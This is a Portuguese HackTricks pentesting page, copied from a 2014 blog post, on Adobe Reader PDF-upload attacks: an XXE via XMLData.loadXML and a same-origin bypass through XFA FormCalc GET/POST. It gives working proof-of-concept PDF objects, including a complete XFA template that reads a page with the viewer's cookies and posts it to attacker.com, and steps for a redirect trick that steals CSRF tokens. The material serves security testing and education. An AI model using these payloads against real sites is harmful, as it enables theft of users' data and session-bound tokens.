hacktricks/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md
2023-06-06 18:56:34 +00:00

6.6 KiB

Upload de PDF - Bypass de XXE e CORS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Conteúdo copiado de https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html

A função Javascript no Reader pode ser usada para ler dados de entidades externas (CVE-2014-8452)

Status: Corrigido
Realidade: Não corrigido

Este é sobre um simples XXE que descobri.
Li o artigo "Polyglots: Crossing Origins by Crossing Formats", onde discutiram uma vulnerabilidade em
XMLData.parse. Era possível usar entidades externas e referenciá-las.
Li a especificação e descobri que existem mais funções do que "parse" para ler XML.
Criei um arquivo xml simples, que referencia uma url do mesmo domínio e o analisei com loadXML.
Funcionou:

7 0 obj
<<
 /Type /Action
/S /JavaScript
/JS (
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
xml = XMLData.parse(cXMLDoc,false);
xml.loadXML(cXMLDoc2,false,true);
)
>>
endobj

O impacto é limitado porque
o) é limitado à mesma origem
o) as páginas HTML quebram o xml
o) Entidades dinâmicas não são suportadas
o) Eu tive a ideia de usar um xml utf-16 para evitar quebrar a estrutura xml, mas não funcionou.

Mas ainda pode ser usado para ler JSON.

Bypass da política de mesma origem no Reader (CVE-2014-8453)

Status: corrigido
Realidade: corrigido, mas a mesma origem ainda é vulnerável!

Na minha opinião, esta é a vulnerabilidade mais poderosa. Mesmo sem o Bypass de Origem, ela mostra
o quão poderoso/assustador o PDF pode ser.
Muitas pessoas sabem que o PDF suporta uma linguagem de script chamada Javascript, mas há outra.
É mencionado na especificação para XFA, um tipo de arquivo também suportado pelo leitor da Adobe.
Chama-se formcalc e não é tão poderoso. É usado para cálculos matemáticos simples. Mas na especificação da Adobe
há três funções adicionais: 'GET', 'POST' e 'PUT'. Sim, seus nomes falam por si mesmos.
'GET' tem um parâmetro: uma url. Ele usará o navegador (SIM, COOKIES) para recuperar a url e retornar o conteúdo dela.
Podemos então usar 'POST' para enviar o conteúdo retornado para nosso próprio servidor:

var content = GET("meusamigos.php");
Post("http://atacante.com",content);

Essas funções são da mesma origem, então um site precisa nos permitir fazer upload de um PDF. Isso não é tão irrealista para
a maioria dos sites. Atacante.com não é da mesma origem, então você precisa configurar um crossdomain.xml, como de costume com produtos da Adobe.

Para resumir: Isso não é um bug, é um recurso. Assim que você é permitido fazer upload de um PDF em um site,
você pode acessar o site no contexto do usuário que está visualizando o PDF. Como as solicitações são emitidas
pelo navegador, os cookies também são enviados. Você também pode usá-lo para quebrar qualquer proteção CSRF lendo os tokens.

% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012

% modified by insertscript

%PDF-1. % can be truncated to %PDF-\0

1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
    <interactive>1</interactive>
</pdf></present></config>
<template>
    <subform name="_">
        <pageSet/>
        <field id="Hello World!">
            <event activity="initialize">
                <script contentType='application/x-formcalc'>
     var content = GET("myfriends.php");
                   Post("http://attacker.com",content);
                </script>
            </event>
        </field>
    </subform>
</template>
</xdp:xdp>
endstream
endobj

trailer <<
    /Root <<
        /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
                >>]
            >>]
            /XFA 1 0 R
        >>
        /Pages <<>>
    >>
>>

Depois de encontrar essas funções, encontrei uma forma de burlar a política de mesma origem. Isso torna possível usar o navegador da vítima como um proxy (@beef ainda está trabalhando no módulo^^).

A forma de burlar é realmente simples:

  1. O usuário A carrega o evil.pdf de http://attacker.com/evil.pdf
  2. O evil.pdf usa o formcalc GET para ler http://attacker.com/redirect.php
  3. redirect.php redireciona com 301 para http://facebook.com
  4. O Adobe reader seguirá e lerá a resposta sem procurar um crossdomain.xml.
  5. O evil.pdf envia o conteúdo recuperado via POST para http://attacker.com/log.php

Observe que, usando essa técnica, você pode roubar os tokens CRSF de uma página e abusar das vulnerabilidades CSRF.

Essa simples forma de burlar foi corrigida agora. Espero que eles implementem um aviso de diálogo para solicitações de mesma origem também.